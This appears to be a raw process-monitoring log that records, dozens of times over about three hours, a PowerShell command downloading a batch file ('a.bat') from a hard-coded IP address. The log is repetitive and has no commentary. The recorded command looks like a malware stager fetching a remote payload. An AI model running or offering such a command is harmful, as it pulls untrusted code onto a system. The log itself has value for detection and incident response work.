C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:44:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:46:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:47:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:49:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:49:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:51:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:52:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:54:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:54:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:56:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:57:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:59:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 04:59:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:01:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:02:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:04:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:04:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:06:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:07:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:09:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:09:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:11:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:12:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:14:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:14:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:16:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:17:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:19:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:19:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:21:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:22:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:24:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:24:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:26:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:27:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:29:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:29:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:31:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:32:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:34:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:34:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:36:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:37:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:39:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:39:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:41:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:42:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:44:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:44:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:46:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:47:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:49:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:49:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:51:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:52:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:54:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:54:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:56:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:57:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:59:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 05:59:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:01:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:02:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:04:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:04:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:06:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:07:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:09:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:09:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:11:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:12:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:14:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:14:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:16:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:17:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:19:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:19:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:21:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:22:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:24:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:24:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:26:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:27:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:29:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:29:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:31:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:32:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:34:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:34:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:36:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:37:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:39:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:39:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:41:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:42:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:44:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:44:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:46:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:47:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:49:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:49:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:51:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:52:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:54:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:54:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:56:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:57:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:59:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 06:59:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:01:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:02:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:04:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:04:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:06:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:07:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:09:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:09:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:11:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:12:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:14:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:14:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:16:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:17:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:19:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:19:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:21:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:22:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:24:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:24:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:26:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:27:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:29:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:29:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:31:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-10 07:32:21 NOTIFY: PROCESS 